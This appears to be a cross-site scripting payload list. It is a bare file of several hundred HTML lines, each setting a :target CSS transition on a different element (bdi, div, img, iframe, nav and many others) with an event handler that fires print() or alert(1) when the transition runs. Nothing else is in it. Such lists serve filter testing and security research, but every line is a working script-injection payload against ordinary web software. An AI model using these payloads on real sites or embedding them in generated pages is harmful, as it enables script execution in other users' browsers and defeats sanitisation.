<style>:target {color: red;}</style><bdi id=x style="transition:color 10s" ontransitioncancel=print()></bdi>
<style>:target {color: red;}</style><bdo id=x style="transition:color 10s" ontransitioncancel=print()></bdo>
<style>:target {color: red;}</style><big id=x style="transition:color 10s" ontransitioncancel=print()></big>
<style>:target {color: red;}</style><blink id=x style="transition:color 10s" ontransitioncancel=print()></blink>
<style>:target {color: red;}</style><blockquote id=x style="transition:color 10s" ontransitioncancel=print()></blockquote>
<style>:target {color: red;}</style><body id=x style="transition:color 10s" ontransitioncancel=print()></body>
<style>:target {color: red;}</style><br id=x style="transition:color 10s" ontransitioncancel=print()></br>
<style>:target {color: red;}</style><button id=x style="transition:color 10s" ontransitioncancel=print()></button>
<style>:target {color: red;}</style><canvas id=x style="transition:color 10s" ontransitioncancel=print()></canvas>
<style>:target {color: red;}</style><caption id=x style="transition:color 10s" ontransitioncancel=print()></caption>
<style>:target {color: red;}</style><center id=x style="transition:color 10s" ontransitioncancel=print()></center>
<style>:target {color: red;}</style><cite id=x style="transition:color 10s" ontransitioncancel=print()></cite>
<style>:target {color: red;}</style><code id=x style="transition:color 10s" ontransitioncancel=print()></code>
<style>:target {color: red;}</style><col id=x style="transition:color 10s" ontransitioncancel=print()></col>
<style>:target {color: red;}</style><colgroup id=x style="transition:color 10s" ontransitioncancel=print()></colgroup>
<style>:target {color: red;}</style><command id=x style="transition:color 10s" ontransitioncancel=print()></command>
<style>:target {color: red;}</style><content id=x style="transition:color 10s" ontransitioncancel=print()></content>
<style>:target {color: red;}</style><custom tags id=x style="transition:color 10s" ontransitioncancel=print()></custom tags>
<style>:target {color: red;}</style><data id=x style="transition:color 10s" ontransitioncancel=print()></data>
<style>:target {color: red;}</style><datalist id=x style="transition:color 10s" ontransitioncancel=print()></datalist>
<style>:target {color: red;}</style><dd id=x style="transition:color 10s" ontransitioncancel=print()></dd>
<style>:target {color: red;}</style><del id=x style="transition:color 10s" ontransitioncancel=print()></del>
<style>:target {color: red;}</style><details id=x style="transition:color 10s" ontransitioncancel=print()></details>
<style>:target {color: red;}</style><dfn id=x style="transition:color 10s" ontransitioncancel=print()></dfn>
<style>:target {color: red;}</style><dialog id=x style="transition:color 10s" ontransitioncancel=print()></dialog>
<style>:target {color: red;}</style><dir id=x style="transition:color 10s" ontransitioncancel=print()></dir>
<style>:target {color: red;}</style><div id=x style="transition:color 10s" ontransitioncancel=print()></div>
<style>:target {color: red;}</style><dl id=x style="transition:color 10s" ontransitioncancel=print()></dl>
<style>:target {color: red;}</style><dt id=x style="transition:color 10s" ontransitioncancel=print()></dt>
<style>:target {color: red;}</style><element id=x style="transition:color 10s" ontransitioncancel=print()></element>
<style>:target {color: red;}</style><em id=x style="transition:color 10s" ontransitioncancel=print()></em>
<style>:target {color: red;}</style><embed id=x style="transition:color 10s" ontransitioncancel=print()></embed>
<style>:target {color: red;}</style><fieldset id=x style="transition:color 10s" ontransitioncancel=print()></fieldset>
<style>:target {color: red;}</style><figcaption id=x style="transition:color 10s" ontransitioncancel=print()></figcaption>
<style>:target {color: red;}</style><figure id=x style="transition:color 10s" ontransitioncancel=print()></figure>
<style>:target {color: red;}</style><font id=x style="transition:color 10s" ontransitioncancel=print()></font>
<style>:target {color: red;}</style><footer id=x style="transition:color 10s" ontransitioncancel=print()></footer>
<style>:target {color: red;}</style><form id=x style="transition:color 10s" ontransitioncancel=print()></form>
<style>:target {color: red;}</style><frame id=x style="transition:color 10s" ontransitioncancel=print()></frame>
<style>:target {color: red;}</style><frameset id=x style="transition:color 10s" ontransitioncancel=print()></frameset>
<style>:target {color: red;}</style><h1 id=x style="transition:color 10s" ontransitioncancel=print()></h1>
<style>:target {color: red;}</style><head id=x style="transition:color 10s" ontransitioncancel=print()></head>
<style>:target {color: red;}</style><header id=x style="transition:color 10s" ontransitioncancel=print()></header>
<style>:target {color: red;}</style><hgroup id=x style="transition:color 10s" ontransitioncancel=print()></hgroup>
<style>:target {color: red;}</style><hr id=x style="transition:color 10s" ontransitioncancel=print()></hr>
<style>:target {color: red;}</style><html id=x style="transition:color 10s" ontransitioncancel=print()></html>
<style>:target {color: red;}</style><i id=x style="transition:color 10s" ontransitioncancel=print()></i>
<style>:target {color: red;}</style><iframe id=x style="transition:color 10s" ontransitioncancel=print()></iframe>
<style>:target {color: red;}</style><iframe2 id=x style="transition:color 10s" ontransitioncancel=print()></iframe2>
<style>:target {color: red;}</style><image id=x style="transition:color 10s" ontransitioncancel=print()></image>
<style>:target {color: red;}</style><image2 id=x style="transition:color 10s" ontransitioncancel=print()></image2>
<style>:target {color: red;}</style><image3 id=x style="transition:color 10s" ontransitioncancel=print()></image3>
<style>:target {color: red;}</style><img id=x style="transition:color 10s" ontransitioncancel=print()></img>
<style>:target {color: red;}</style><img2 id=x style="transition:color 10s" ontransitioncancel=print()></img2>
<style>:target {color: red;}</style><input id=x style="transition:color 10s" ontransitioncancel=print()></input>
<style>:target {color: red;}</style><input2 id=x style="transition:color 10s" ontransitioncancel=print()></input2>
<style>:target {color: red;}</style><input3 id=x style="transition:color 10s" ontransitioncancel=print()></input3>
<style>:target {color: red;}</style><input4 id=x style="transition:color 10s" ontransitioncancel=print()></input4>
<style>:target {color: red;}</style><ins id=x style="transition:color 10s" ontransitioncancel=print()></ins>
<style>:target {color: red;}</style><kbd id=x style="transition:color 10s" ontransitioncancel=print()></kbd>
<style>:target {color: red;}</style><keygen id=x style="transition:color 10s" ontransitioncancel=print()></keygen>
<style>:target {color: red;}</style><label id=x style="transition:color 10s" ontransitioncancel=print()></label>
<style>:target {color: red;}</style><legend id=x style="transition:color 10s" ontransitioncancel=print()></legend>
<style>:target {color: red;}</style><li id=x style="transition:color 10s" ontransitioncancel=print()></li>
<style>:target {color: red;}</style><link id=x style="transition:color 10s" ontransitioncancel=print()></link>
<style>:target {color: red;}</style><listing id=x style="transition:color 10s" ontransitioncancel=print()></listing>
<style>:target {color: red;}</style><main id=x style="transition:color 10s" ontransitioncancel=print()></main>
<style>:target {color: red;}</style><map id=x style="transition:color 10s" ontransitioncancel=print()></map>
<style>:target {color: red;}</style><mark id=x style="transition:color 10s" ontransitioncancel=print()></mark>
<style>:target {color: red;}</style><marquee id=x style="transition:color 10s" ontransitioncancel=print()></marquee>
<style>:target {color: red;}</style><menu id=x style="transition:color 10s" ontransitioncancel=print()></menu>
<style>:target {color: red;}</style><menuitem id=x style="transition:color 10s" ontransitioncancel=print()></menuitem>
<style>:target {color: red;}</style><meta id=x style="transition:color 10s" ontransitioncancel=print()></meta>
<style>:target {color: red;}</style><meter id=x style="transition:color 10s" ontransitioncancel=print()></meter>
<style>:target {color: red;}</style><multicol id=x style="transition:color 10s" ontransitioncancel=print()></multicol>
<style>:target {color: red;}</style><nav id=x style="transition:color 10s" ontransitioncancel=print()></nav>
<style>:target {color: red;}</style><nextid id=x style="transition:color 10s" ontransitioncancel=print()></nextid>
<style>:target {color: red;}</style><nobr id=x style="transition:color 10s" ontransitioncancel=print()></nobr>
<style>:target {color: red;}</style><noembed id=x style="transition:color 10s" ontransitioncancel=print()></noembed>
<style>:target {color: red;}</style><noframes id=x style="transition:color 10s" ontransitioncancel=print()></noframes>
<style>:target {color: red;}</style><noscript id=x style="transition:color 10s" ontransitioncancel=print()></noscript>
<style>:target {color: red;}</style><object id=x style="transition:color 10s" ontransitioncancel=print()></object>
<style>:target {color: red;}</style><ol id=x style="transition:color 10s" ontransitioncancel=print()></ol>
<style>:target {color: red;}</style><optgroup id=x style="transition:color 10s" ontransitioncancel=print()></optgroup>
<style>:target {color: red;}</style><option id=x style="transition:color 10s" ontransitioncancel=print()></option>
<style>:target {color: red;}</style><output id=x style="transition:color 10s" ontransitioncancel=print()></output>
<style>:target {color: red;}</style><p id=x style="transition:color 10s" ontransitioncancel=print()></p>
<style>:target {color: red;}</style><param id=x style="transition:color 10s" ontransitioncancel=print()></param>
<style>:target {color: red;}</style><picture id=x style="transition:color 10s" ontransitioncancel=print()></picture>
<style>:target {color: red;}</style><plaintext id=x style="transition:color 10s" ontransitioncancel=print()></plaintext>
<style>:target {color: red;}</style><pre id=x style="transition:color 10s" ontransitioncancel=print()></pre>
<style>:target {color: red;}</style><progress id=x style="transition:color 10s" ontransitioncancel=print()></progress>
<style>:target {color: red;}</style><q id=x style="transition:color 10s" ontransitioncancel=print()></q>
<style>:target {color: red;}</style><rb id=x style="transition:color 10s" ontransitioncancel=print()></rb>
<style>:target {color: red;}</style><rp id=x style="transition:color 10s" ontransitioncancel=print()></rp>
<style>:target {color: red;}</style><rt id=x style="transition:color 10s" ontransitioncancel=print()></rt>
<style>:target {color: red;}</style><rtc id=x style="transition:color 10s" ontransitioncancel=print()></rtc>
<style>:target {color: red;}</style><ruby id=x style="transition:color 10s" ontransitioncancel=print()></ruby>
<style>:target {color: red;}</style><s id=x style="transition:color 10s" ontransitioncancel=print()></s>
<style>:target {color: red;}</style><samp id=x style="transition:color 10s" ontransitioncancel=print()></samp>
<style>:target {color: red;}</style><script id=x style="transition:color 10s" ontransitioncancel=print()></script>
<style>:target {color: red;}</style><section id=x style="transition:color 10s" ontransitioncancel=print()></section>
<style>:target {color: red;}</style><select id=x style="transition:color 10s" ontransitioncancel=print()></select>
<style>:target {color: red;}</style><set id=x style="transition:color 10s" ontransitioncancel=print()></set>
<style>:target {color: red;}</style><shadow id=x style="transition:color 10s" ontransitioncancel=print()></shadow>
<style>:target {color: red;}</style><slot id=x style="transition:color 10s" ontransitioncancel=print()></slot>
<style>:target {color: red;}</style><small id=x style="transition:color 10s" ontransitioncancel=print()></small>
<style>:target {color: red;}</style><source id=x style="transition:color 10s" ontransitioncancel=print()></source>
<style>:target {color: red;}</style><spacer id=x style="transition:color 10s" ontransitioncancel=print()></spacer>
<style>:target {color: red;}</style><span id=x style="transition:color 10s" ontransitioncancel=print()></span>
<style>:target {color: red;}</style><strike id=x style="transition:color 10s" ontransitioncancel=print()></strike>
<style>:target {color: red;}</style><strong id=x style="transition:color 10s" ontransitioncancel=print()></strong>
<style>:target {color: red;}</style><style id=x style="transition:color 10s" ontransitioncancel=print()></style>
<style>:target {color: red;}</style><sub id=x style="transition:color 10s" ontransitioncancel=print()></sub>
<style>:target {color: red;}</style><summary id=x style="transition:color 10s" ontransitioncancel=print()></summary>
<style>:target {color: red;}</style><sup id=x style="transition:color 10s" ontransitioncancel=print()></sup>
<style>:target {color: red;}</style><svg id=x style="transition:color 10s" ontransitioncancel=print()></svg>
<style>:target {color: red;}</style><table id=x style="transition:color 10s" ontransitioncancel=print()></table>
<style>:target {color: red;}</style><tbody id=x style="transition:color 10s" ontransitioncancel=print()></tbody>
<style>:target {color: red;}</style><td id=x style="transition:color 10s" ontransitioncancel=print()></td>
<style>:target {color: red;}</style><template id=x style="transition:color 10s" ontransitioncancel=print()></template>
<style>:target {color: red;}</style><textarea id=x style="transition:color 10s" ontransitioncancel=print()></textarea>
<style>:target {color: red;}</style><tfoot id=x style="transition:color 10s" ontransitioncancel=print()></tfoot>
<style>:target {color: red;}</style><th id=x style="transition:color 10s" ontransitioncancel=print()></th>
<style>:target {color: red;}</style><thead id=x style="transition:color 10s" ontransitioncancel=print()></thead>
<style>:target {color: red;}</style><time id=x style="transition:color 10s" ontransitioncancel=print()></time>
<style>:target {color: red;}</style><title id=x style="transition:color 10s" ontransitioncancel=print()></title>
<style>:target {color: red;}</style><tr id=x style="transition:color 10s" ontransitioncancel=print()></tr>
<style>:target {color: red;}</style><track id=x style="transition:color 10s" ontransitioncancel=print()></track>
<style>:target {color: red;}</style><tt id=x style="transition:color 10s" ontransitioncancel=print()></tt>
<style>:target {color: red;}</style><u id=x style="transition:color 10s" ontransitioncancel=print()></u>
<style>:target {color: red;}</style><ul id=x style="transition:color 10s" ontransitioncancel=print()></ul>
<style>:target {color: red;}</style><var id=x style="transition:color 10s" ontransitioncancel=print()></var>
<style>:target {color: red;}</style><video id=x style="transition:color 10s" ontransitioncancel=print()></video>
<style>:target {color: red;}</style><video2 id=x style="transition:color 10s" ontransitioncancel=print()></video2>
<style>:target {color: red;}</style><wbr id=x style="transition:color 10s" ontransitioncancel=print()></wbr>
<style>:target {color: red;}</style><xmp id=x style="transition:color 10s" ontransitioncancel=print()></xmp>
<style>:target {color:red;}</style><a id=x style="transition:color 1s" ontransitionstart=alert(1)></a>
<style>:target {color:red;}</style><a id=x style="transition:color 1s" onwebkittransitionend=alert(1)></a>
<style>:target {color:red;}</style><a2 id=x style="transition:color 1s" ontransitionstart=alert(1)></a2>
<style>:target {color:red;}</style><a2 id=x style="transition:color 1s" onwebkittransitionend=alert(1)></a2>
<style>:target {color:red;}</style><abbr id=x style="transition:color 1s" ontransitionstart=alert(1)></abbr>
<style>:target {color:red;}</style><abbr id=x style="transition:color 1s" onwebkittransitionend=alert(1)></abbr>
<style>:target {color:red;}</style><acronym id=x style="transition:color 1s" ontransitionstart=alert(1)></acronym>
<style>:target {color:red;}</style><acronym id=x style="transition:color 1s" onwebkittransitionend=alert(1)></acronym>
<style>:target {color:red;}</style><address id=x style="transition:color 1s" ontransitionstart=alert(1)></address>
<style>:target {color:red;}</style><address id=x style="transition:color 1s" onwebkittransitionend=alert(1)></address>
<style>:target {color:red;}</style><animate id=x style="transition:color 1s" ontransitionstart=alert(1)></animate>
<style>:target {color:red;}</style><animate id=x style="transition:color 1s" onwebkittransitionend=alert(1)></animate>
<style>:target {color:red;}</style><animatemotion id=x style="transition:color 1s" ontransitionstart=alert(1)></animatemotion>
<style>:target {color:red;}</style><animatemotion id=x style="transition:color 1s" onwebkittransitionend=alert(1)></animatemotion>
<style>:target {color:red;}</style><animatetransform id=x style="transition:color 1s" ontransitionstart=alert(1)></animatetransform>
<style>:target {color:red;}</style><animatetransform id=x style="transition:color 1s" onwebkittransitionend=alert(1)></animatetransform>
<style>:target {color:red;}</style><applet id=x style="transition:color 1s" ontransitionstart=alert(1)></applet>
<style>:target {color:red;}</style><applet id=x style="transition:color 1s" onwebkittransitionend=alert(1)></applet>
<style>:target {color:red;}</style><area id=x style="transition:color 1s" ontransitionstart=alert(1)></area>
<style>:target {color:red;}</style><area id=x style="transition:color 1s" onwebkittransitionend=alert(1)></area>
<style>:target {color:red;}</style><article id=x style="transition:color 1s" ontransitionstart=alert(1)></article>
<style>:target {color:red;}</style><article id=x style="transition:color 1s" onwebkittransitionend=alert(1)></article>
<style>:target {color:red;}</style><aside id=x style="transition:color 1s" ontransitionstart=alert(1)></aside>
<style>:target {color:red;}</style><aside id=x style="transition:color 1s" onwebkittransitionend=alert(1)></aside>
<style>:target {color:red;}</style><audio id=x style="transition:color 1s" ontransitionstart=alert(1)></audio>
<style>:target {color:red;}</style><audio id=x style="transition:color 1s" onwebkittransitionend=alert(1)></audio>
<style>:target {color:red;}</style><audio2 id=x style="transition:color 1s" ontransitionstart=alert(1)></audio2>
<style>:target {color:red;}</style><audio2 id=x style="transition:color 1s" onwebkittransitionend=alert(1)></audio2>
<style>:target {color:red;}</style><b id=x style="transition:color 1s" ontransitionstart=alert(1)></b>
<style>:target {color:red;}</style><b id=x style="transition:color 1s" onwebkittransitionend=alert(1)></b>
<style>:target {color:red;}</style><bdi id=x style="transition:color 1s" ontransitionstart=alert(1)></bdi>
<style>:target {color:red;}</style><bdi id=x style="transition:color 1s" onwebkittransitionend=alert(1)></bdi>
<style>:target {color:red;}</style><bdo id=x style="transition:color 1s" ontransitionstart=alert(1)></bdo>
<style>:target {color:red;}</style><bdo id=x style="transition:color 1s" onwebkittransitionend=alert(1)></bdo>
<style>:target {color:red;}</style><big id=x style="transition:color 1s" ontransitionstart=alert(1)></big>
<style>:target {color:red;}</style><big id=x style="transition:color 1s" onwebkittransitionend=alert(1)></big>
<style>:target {color:red;}</style><blink id=x style="transition:color 1s" ontransitionstart=alert(1)></blink>
<style>:target {color:red;}</style><blink id=x style="transition:color 1s" onwebkittransitionend=alert(1)></blink>
<style>:target {color:red;}</style><blockquote id=x style="transition:color 1s" ontransitionstart=alert(1)></blockquote>
<style>:target {color:red;}</style><blockquote id=x style="transition:color 1s" onwebkittransitionend=alert(1)></blockquote>
<style>:target {color:red;}</style><body id=x style="transition:color 1s" ontransitionstart=alert(1)></body>
<style>:target {color:red;}</style><body id=x style="transition:color 1s" onwebkittransitionend=alert(1)></body>
<style>:target {color:red;}</style><br id=x style="transition:color 1s" ontransitionstart=alert(1)></br>
<style>:target {color:red;}</style><br id=x style="transition:color 1s" onwebkittransitionend=alert(1)></br>
<style>:target {color:red;}</style><button id=x style="transition:color 1s" ontransitionstart=alert(1)></button>
<style>:target {color:red;}</style><button id=x style="transition:color 1s" onwebkittransitionend=alert(1)></button>
<style>:target {color:red;}</style><canvas id=x style="transition:color 1s" ontransitionstart=alert(1)></canvas>
<style>:target {color:red;}</style><canvas id=x style="transition:color 1s" onwebkittransitionend=alert(1)></canvas>
<style>:target {color:red;}</style><caption id=x style="transition:color 1s" ontransitionstart=alert(1)></caption>
<style>:target {color:red;}</style><caption id=x style="transition:color 1s" onwebkittransitionend=alert(1)></caption>
<style>:target {color:red;}</style><center id=x style="transition:color 1s" ontransitionstart=alert(1)></center>
<style>:target {color:red;}</style><center id=x style="transition:color 1s" onwebkittransitionend=alert(1)></center>
<style>:target {color:red;}</style><cite id=x style="transition:color 1s" ontransitionstart=alert(1)></cite>
<style>:target {color:red;}</style><cite id=x style="transition:color 1s" onwebkittransitionend=alert(1)></cite>
<style>:target {color:red;}</style><code id=x style="transition:color 1s" ontransitionstart=alert(1)></code>
<style>:target {color:red;}</style><code id=x style="transition:color 1s" onwebkittransitionend=alert(1)></code>
<style>:target {color:red;}</style><col id=x style="transition:color 1s" ontransitionstart=alert(1)></col>
<style>:target {color:red;}</style><col id=x style="transition:color 1s" onwebkittransitionend=alert(1)></col>
<style>:target {color:red;}</style><colgroup id=x style="transition:color 1s" ontransitionstart=alert(1)></colgroup>
<style>:target {color:red;}</style><colgroup id=x style="transition:color 1s" onwebkittransitionend=alert(1)></colgroup>
<style>:target {color:red;}</style><command id=x style="transition:color 1s" ontransitionstart=alert(1)></command>
<style>:target {color:red;}</style><command id=x style="transition:color 1s" onwebkittransitionend=alert(1)></command>
<style>:target {color:red;}</style><content id=x style="transition:color 1s" ontransitionstart=alert(1)></content>
<style>:target {color:red;}</style><content id=x style="transition:color 1s" onwebkittransitionend=alert(1)></content>
<style>:target {color:red;}</style><custom tags id=x style="transition:color 1s" ontransitionstart=alert(1)></custom tags>
<style>:target {color:red;}</style><custom tags id=x style="transition:color 1s" onwebkittransitionend=alert(1)></custom tags>
<style>:target {color:red;}</style><data id=x style="transition:color 1s" ontransitionstart=alert(1)></data>
<style>:target {color:red;}</style><data id=x style="transition:color 1s" onwebkittransitionend=alert(1)></data>
<style>:target {color:red;}</style><datalist id=x style="transition:color 1s" ontransitionstart=alert(1)></datalist>
<style>:target {color:red;}</style><datalist id=x style="transition:color 1s" onwebkittransitionend=alert(1)></datalist>
<style>:target {color:red;}</style><dd id=x style="transition:color 1s" ontransitionstart=alert(1)></dd>
<style>:target {color:red;}</style><dd id=x style="transition:color 1s" onwebkittransitionend=alert(1)></dd>
<style>:target {color:red;}</style><del id=x style="transition:color 1s" ontransitionstart=alert(1)></del>
<style>:target {color:red;}</style><del id=x style="transition:color 1s" onwebkittransitionend=alert(1)></del>
<style>:target {color:red;}</style><details id=x style="transition:color 1s" ontransitionstart=alert(1)></details>
<style>:target {color:red;}</style><details id=x style="transition:color 1s" onwebkittransitionend=alert(1)></details>
<style>:target {color:red;}</style><dfn id=x style="transition:color 1s" ontransitionstart=alert(1)></dfn>
<style>:target {color:red;}</style><dfn id=x style="transition:color 1s" onwebkittransitionend=alert(1)></dfn>
<style>:target {color:red;}</style><dialog id=x style="transition:color 1s" ontransitionstart=alert(1)></dialog>
<style>:target {color:red;}</style><dialog id=x style="transition:color 1s" onwebkittransitionend=alert(1)></dialog>
<style>:target {color:red;}</style><dir id=x style="transition:color 1s" ontransitionstart=alert(1)></dir>
<style>:target {color:red;}</style><dir id=x style="transition:color 1s" onwebkittransitionend=alert(1)></dir>
<style>:target {color:red;}</style><div id=x style="transition:color 1s" ontransitionstart=alert(1)></div>
<style>:target {color:red;}</style><div id=x style="transition:color 1s" onwebkittransitionend=alert(1)></div>
<style>:target {color:red;}</style><dl id=x style="transition:color 1s" ontransitionstart=alert(1)></dl>
<style>:target {color:red;}</style><dl id=x style="transition:color 1s" onwebkittransitionend=alert(1)></dl>
<style>:target {color:red;}</style><dt id=x style="transition:color 1s" ontransitionstart=alert(1)></dt>
<style>:target {color:red;}</style><dt id=x style="transition:color 1s" onwebkittransitionend=alert(1)></dt>
<style>:target {color:red;}</style><element id=x style="transition:color 1s" ontransitionstart=alert(1)></element>
<style>:target {color:red;}</style><element id=x style="transition:color 1s" onwebkittransitionend=alert(1)></element>
<style>:target {color:red;}</style><em id=x style="transition:color 1s" ontransitionstart=alert(1)></em>
<style>:target {color:red;}</style><em id=x style="transition:color 1s" onwebkittransitionend=alert(1)></em>
<style>:target {color:red;}</style><embed id=x style="transition:color 1s" ontransitionstart=alert(1)></embed>
<style>:target {color:red;}</style><embed id=x style="transition:color 1s" onwebkittransitionend=alert(1)></embed>
<style>:target {color:red;}</style><fieldset id=x style="transition:color 1s" ontransitionstart=alert(1)></fieldset>
<style>:target {color:red;}</style><fieldset id=x style="transition:color 1s" onwebkittransitionend=alert(1)></fieldset>
<style>:target {color:red;}</style><figcaption id=x style="transition:color 1s" ontransitionstart=alert(1)></figcaption>
<style>:target {color:red;}</style><figcaption id=x style="transition:color 1s" onwebkittransitionend=alert(1)></figcaption>
<style>:target {color:red;}</style><figure id=x style="transition:color 1s" ontransitionstart=alert(1)></figure>
<style>:target {color:red;}</style><figure id=x style="transition:color 1s" onwebkittransitionend=alert(1)></figure>
<style>:target {color:red;}</style><font id=x style="transition:color 1s" ontransitionstart=alert(1)></font>
<style>:target {color:red;}</style><font id=x style="transition:color 1s" onwebkittransitionend=alert(1)></font>
<style>:target {color:red;}</style><footer id=x style="transition:color 1s" ontransitionstart=alert(1)></footer>
<style>:target {color:red;}</style><footer id=x style="transition:color 1s" onwebkittransitionend=alert(1)></footer>
<style>:target {color:red;}</style><form id=x style="transition:color 1s" ontransitionstart=alert(1)></form>
<style>:target {color:red;}</style><form id=x style="transition:color 1s" onwebkittransitionend=alert(1)></form>
<style>:target {color:red;}</style><frame id=x style="transition:color 1s" ontransitionstart=alert(1)></frame>
<style>:target {color:red;}</style><frame id=x style="transition:color 1s" onwebkittransitionend=alert(1)></frame>
<style>:target {color:red;}</style><frameset id=x style="transition:color 1s" ontransitionstart=alert(1)></frameset>
<style>:target {color:red;}</style><frameset id=x style="transition:color 1s" onwebkittransitionend=alert(1)></frameset>
<style>:target {color:red;}</style><h1 id=x style="transition:color 1s" ontransitionstart=alert(1)></h1>
<style>:target {color:red;}</style><h1 id=x style="transition:color 1s" onwebkittransitionend=alert(1)></h1>
<style>:target {color:red;}</style><head id=x style="transition:color 1s" ontransitionstart=alert(1)></head>
<style>:target {color:red;}</style><head id=x style="transition:color 1s" onwebkittransitionend=alert(1)></head>
<style>:target {color:red;}</style><header id=x style="transition:color 1s" ontransitionstart=alert(1)></header>
<style>:target {color:red;}</style><header id=x style="transition:color 1s" onwebkittransitionend=alert(1)></header>
<style>:target {color:red;}</style><hgroup id=x style="transition:color 1s" ontransitionstart=alert(1)></hgroup>
<style>:target {color:red;}</style><hgroup id=x style="transition:color 1s" onwebkittransitionend=alert(1)></hgroup>
<style>:target {color:red;}</style><hr id=x style="transition:color 1s" ontransitionstart=alert(1)></hr>
<style>:target {color:red;}</style><hr id=x style="transition:color 1s" onwebkittransitionend=alert(1)></hr>
<style>:target {color:red;}</style><html id=x style="transition:color 1s" ontransitionstart=alert(1)></html>
<style>:target {color:red;}</style><html id=x style="transition:color 1s" onwebkittransitionend=alert(1)></html>
<style>:target {color:red;}</style><i id=x style="transition:color 1s" ontransitionstart=alert(1)></i>
<style>:target {color:red;}</style><i id=x style="transition:color 1s" onwebkittransitionend=alert(1)></i>
<style>:target {color:red;}</style><iframe id=x style="transition:color 1s" ontransitionstart=alert(1)></iframe>
<style>:target {color:red;}</style><iframe id=x style="transition:color 1s" onwebkittransitionend=alert(1)></iframe>
<style>:target {color:red;}</style><iframe2 id=x style="transition:color 1s" ontransitionstart=alert(1)></iframe2>
<style>:target {color:red;}</style><iframe2 id=x style="transition:color 1s" onwebkittransitionend=alert(1)></iframe2>
<style>:target {color:red;}</style><image id=x style="transition:color 1s" ontransitionstart=alert(1)></image>
<style>:target {color:red;}</style><image id=x style="transition:color 1s" onwebkittransitionend=alert(1)></image>
<style>:target {color:red;}</style><image2 id=x style="transition:color 1s" ontransitionstart=alert(1)></image2>
<style>:target {color:red;}</style><image2 id=x style="transition:color 1s" onwebkittransitionend=alert(1)></image2>
<style>:target {color:red;}</style><image3 id=x style="transition:color 1s" ontransitionstart=alert(1)></image3>
<style>:target {color:red;}</style><image3 id=x style="transition:color 1s" onwebkittransitionend=alert(1)></image3>
<style>:target {color:red;}</style><img id=x style="transition:color 1s" ontransitionstart=alert(1)></img>
<style>:target {color:red;}</style><img id=x style="transition:color 1s" onwebkittransitionend=alert(1)></img>
<style>:target {color:red;}</style><img2 id=x style="transition:color 1s" ontransitionstart=alert(1)></img2>
<style>:target {color:red;}</style><img2 id=x style="transition:color 1s" onwebkittransitionend=alert(1)></img2>
<style>:target {color:red;}</style><input id=x style="transition:color 1s" ontransitionstart=alert(1)></input>
<style>:target {color:red;}</style><input id=x style="transition:color 1s" onwebkittransitionend=alert(1)></input>
<style>:target {color:red;}</style><input2 id=x style="transition:color 1s" ontransitionstart=alert(1)></input2>
<style>:target {color:red;}</style><input2 id=x style="transition:color 1s" onwebkittransitionend=alert(1)></input2>
<style>:target {color:red;}</style><input3 id=x style="transition:color 1s" ontransitionstart=alert(1)></input3>
<style>:target {color:red;}</style><input3 id=x style="transition:color 1s" onwebkittransitionend=alert(1)></input3>
<style>:target {color:red;}</style><input4 id=x style="transition:color 1s" ontransitionstart=alert(1)></input4>
<style>:target {color:red;}</style><input4 id=x style="transition:color 1s" onwebkittransitionend=alert(1)></input4>
<style>:target {color:red;}</style><ins id=x style="transition:color 1s" ontransitionstart=alert(1)></ins>
<style>:target {color:red;}</style><ins id=x style="transition:color 1s" onwebkittransitionend=alert(1)></ins>
<style>:target {color:red;}</style><kbd id=x style="transition:color 1s" ontransitionstart=alert(1)></kbd>
<style>:target {color:red;}</style><kbd id=x style="transition:color 1s" onwebkittransitionend=alert(1)></kbd>
<style>:target {color:red;}</style><keygen id=x style="transition:color 1s" ontransitionstart=alert(1)></keygen>
<style>:target {color:red;}</style><keygen id=x style="transition:color 1s" onwebkittransitionend=alert(1)></keygen>
<style>:target {color:red;}</style><label id=x style="transition:color 1s" ontransitionstart=alert(1)></label>
<style>:target {color:red;}</style><label id=x style="transition:color 1s" onwebkittransitionend=alert(1)></label>
<style>:target {color:red;}</style><legend id=x style="transition:color 1s" ontransitionstart=alert(1)></legend>
<style>:target {color:red;}</style><legend id=x style="transition:color 1s" onwebkittransitionend=alert(1)></legend>
<style>:target {color:red;}</style><li id=x style="transition:color 1s" ontransitionstart=alert(1)></li>
<style>:target {color:red;}</style><li id=x style="transition:color 1s" onwebkittransitionend=alert(1)></li>
<style>:target {color:red;}</style><link id=x style="transition:color 1s" ontransitionstart=alert(1)></link>
<style>:target {color:red;}</style><link id=x style="transition:color 1s" onwebkittransitionend=alert(1)></link>
<style>:target {color:red;}</style><listing id=x style="transition:color 1s" ontransitionstart=alert(1)></listing>
<style>:target {color:red;}</style><listing id=x style="transition:color 1s" onwebkittransitionend=alert(1)></listing>
<style>:target {color:red;}</style><main id=x style="transition:color 1s" ontransitionstart=alert(1)></main>
<style>:target {color:red;}</style><main id=x style="transition:color 1s" onwebkittransitionend=alert(1)></main>
<style>:target {color:red;}</style><map id=x style="transition:color 1s" ontransitionstart=alert(1)></map>
<style>:target {color:red;}</style><map id=x style="transition:color 1s" onwebkittransitionend=alert(1)></map>
<style>:target {color:red;}</style><mark id=x style="transition:color 1s" ontransitionstart=alert(1)></mark>
<style>:target {color:red;}</style><mark id=x style="transition:color 1s" onwebkittransitionend=alert(1)></mark>
<style>:target {color:red;}</style><marquee id=x style="transition:color 1s" ontransitionstart=alert(1)></marquee>
<style>:target {color:red;}</style><marquee id=x style="transition:color 1s" onwebkittransitionend=alert(1)></marquee>
<style>:target {color:red;}</style><menu id=x style="transition:color 1s" ontransitionstart=alert(1)></menu>
<style>:target {color:red;}</style><menu id=x style="transition:color 1s" onwebkittransitionend=alert(1)></menu>
<style>:target {color:red;}</style><menuitem id=x style="transition:color 1s" ontransitionstart=alert(1)></menuitem>
<style>:target {color:red;}</style><menuitem id=x style="transition:color 1s" onwebkittransitionend=alert(1)></menuitem>
<style>:target {color:red;}</style><meta id=x style="transition:color 1s" ontransitionstart=alert(1)></meta>
<style>:target {color:red;}</style><meta id=x style="transition:color 1s" onwebkittransitionend=alert(1)></meta>
<style>:target {color:red;}</style><meter id=x style="transition:color 1s" ontransitionstart=alert(1)></meter>
<style>:target {color:red;}</style><meter id=x style="transition:color 1s" onwebkittransitionend=alert(1)></meter>
<style>:target {color:red;}</style><multicol id=x style="transition:color 1s" ontransitionstart=alert(1)></multicol>
<style>:target {color:red;}</style><multicol id=x style="transition:color 1s" onwebkittransitionend=alert(1)></multicol>
<style>:target {color:red;}</style><nav id=x style="transition:color 1s" ontransitionstart=alert(1)></nav>
<style>:target {color:red;}</style><nav id=x style="transition:color 1s" onwebkittransitionend=alert(1)></nav>
<style>:target {color:red;}</style><nextid id=x style="transition:color 1s" ontransitionstart=alert(1)></nextid>
